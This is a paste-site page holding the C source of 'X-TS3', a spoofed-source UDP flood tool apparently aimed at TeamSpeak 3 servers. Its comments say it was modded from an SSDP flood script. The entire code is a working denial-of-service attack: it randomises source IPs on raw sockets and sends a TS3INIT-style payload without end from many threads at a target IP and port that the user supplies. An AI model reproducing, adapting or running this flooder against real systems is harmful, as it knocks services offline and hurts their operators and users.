Facebook
From AnonnPL, 8 Years ago, written in C++.
Embed
Download Paste or View Raw
Hits: 1220
  1. // Zombie creation of VSE
  2. // I know this is terrible, but it works. - Decafe
  3. // Credits to whoever coded SSDP (Litespeed?), I modded that source.
  4. // I made this over my lunch hour, if anyone has any improvements/tips just shoot me a PM. 1681387
  5. #include <time.h>
  6. #include <pthread.h>
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #include <netinet/ip.h>
  13. #include <netinet/udp.h>
  14. #include <arpa/inet.h>
  15. #define MAX_PACKET_SIZE 8192
  16. #define PHI 0x9e3779b9
  17. static uint32_t Q[4096], c = 362436;
  18. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  19. static unsigned int attport;
  20. void init_rand(uint32_t x)
  21. {
  22.         int i;
  23.         Q[0] = x;
  24.         Q[1] = x + PHI;
  25.         Q[2] = x + PHI + PHI;
  26.         for (i = 3; i < 4096; i++)
  27.         {
  28.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  29.         }
  30. }
  31.  
  32. uint32_t rand_cmwc(void)
  33. {
  34.         uint64_t t, a = 18782LL;
  35.         static uint32_t i = 4095;
  36.         uint32_t x, r = 0xfffffffe;
  37.         i = (i + 1) & 4095;
  38.         t = a * Q[i] + c;
  39.         c = (t >> 32);
  40.         x = t + c;
  41.         if (x < c) {
  42.                 x++;
  43.                 c++;
  44.         }
  45.         return (Q[i] = r - x);
  46. }
  47.  
  48. /* function for header checksums */
  49. unsigned short csum (unsigned short *buf, int nwords)
  50. {
  51.         unsigned long sum;
  52.         for (sum = 0; nwords > 0; nwords--)
  53.         sum += *buf++;
  54.         sum = (sum >> 16) + (sum & 0xffff);
  55.         sum += (sum >> 16);
  56.         return (unsigned short)(~sum);
  57. }
  58.  
  59. void setup_ip_header(struct iphdr *iph)
  60. {
  61.       iph->ihl = 5;
  62.       iph->version = 4;
  63.       iph->tos = 0;
  64.       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 34;
  65.       iph->id = htonl(rand()%54321);
  66.       iph->frag_off = 0;
  67.       iph->ttl = 128;
  68.       iph->protocol = IPPROTO_UDP;
  69.       iph->check = 0;
  70.       iph->saddr = inet_addr("192.168.3.100");
  71. }
  72.  
  73. void setup_udp_header(struct udphdr *udph)
  74. {
  75.       udph->source = htons(rand()%65535);
  76.       udph->check = 0;
  77.       memcpy((void *)udph + sizeof(struct udphdr), "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x02\xfd\x66\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 34);
  78.       udph->len=htons(sizeof(struct udphdr) + 34);
  79. }
  80.  
  81. void *flood(void *par1)
  82. {
  83.         char *td = (char *)par1;
  84.         char datagram[MAX_PACKET_SIZE];
  85.         struct iphdr *iph = (struct iphdr *)datagram;
  86.         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  87.         struct sockaddr_in sin;
  88.                 sin.sin_family = AF_INET;
  89.                 sin.sin_addr.s_addr = inet_addr(td);
  90.                 sin.sin_port = attport;
  91.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  92.         if(s < 0){
  93.                 fprintf(stderr, "Could not open raw socket.\n");
  94.                 exit(-1);
  95.         }
  96.         init_rand(time(NULL));
  97.         memset(datagram, 0, MAX_PACKET_SIZE);
  98.         setup_ip_header(iph);
  99.         setup_udp_header(udph);
  100.                 udph->dest = attport;
  101.         udph->source = htons(rand()%65535);
  102.         iph->daddr = sin.sin_addr.s_addr;
  103.                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  104.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  105.         int tmp = 1;
  106.         const int *val = &tmp;
  107.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  108.                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  109.                 exit(-1);
  110.         }
  111.         int i=0;
  112.         while(1){
  113.                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  114.                                 udph->source = htons(rand()%65535);
  115.                                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  116.                                 iph->daddr = sin.sin_addr.s_addr;
  117.                                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  118.                                
  119.                                
  120.                 if(i==5)
  121.                 {
  122.                         usleep(0);
  123.                         i=0;
  124.                 }
  125.                 i++;
  126.         }
  127. }
  128. int main(int argc, char *argv[ ])
  129. {
  130.         if(argc < 4){
  131.                 fprintf(stderr, "Invalid parameters!\n");
  132.                 fprintf(stderr, "X-TS3 by AnonnPL!\n");
  133.                 fprintf(stdout, "Usage: %s <target IP> <port> <throttle> <time>\n", argv[0]);
  134.                 exit(-1);
  135.         }
  136.         int i = 0;
  137.         fprintf(stdout, "Setting up Sockets...\n");
  138.         int max_len = 128;
  139.         char *buffer = (char *) malloc(max_len);
  140.         buffer = memset(buffer, 0x00, max_len);
  141.         int num_threads = atoi(argv[3]);
  142.         pthread_t thread[num_threads];
  143.         struct thread_data td[num_threads];
  144.                 attport = htons(atoi(argv[2]));
  145.         for(i = 0;i<num_threads;i++){
  146.                 pthread_create( &thread[i], NULL, &flood, (void *) argv[1]);
  147.         }
  148.         fprintf(stdout, "Starting Flood...\n");
  149.         fprintf(stdout, "X-TS3 by AnonnPL\n");
  150.         if(argc > 4)
  151.         {
  152.                 sleep(atoi(argv[4]));
  153.         } else {
  154.                 while(1){
  155.                         sleep(1);
  156.                 }
  157.         }
  158.         return 0;
  159. }

Replies to xts3.c rss

Title Name Language When
Re: xts3.c Aqua Finch cpp 3 Years ago.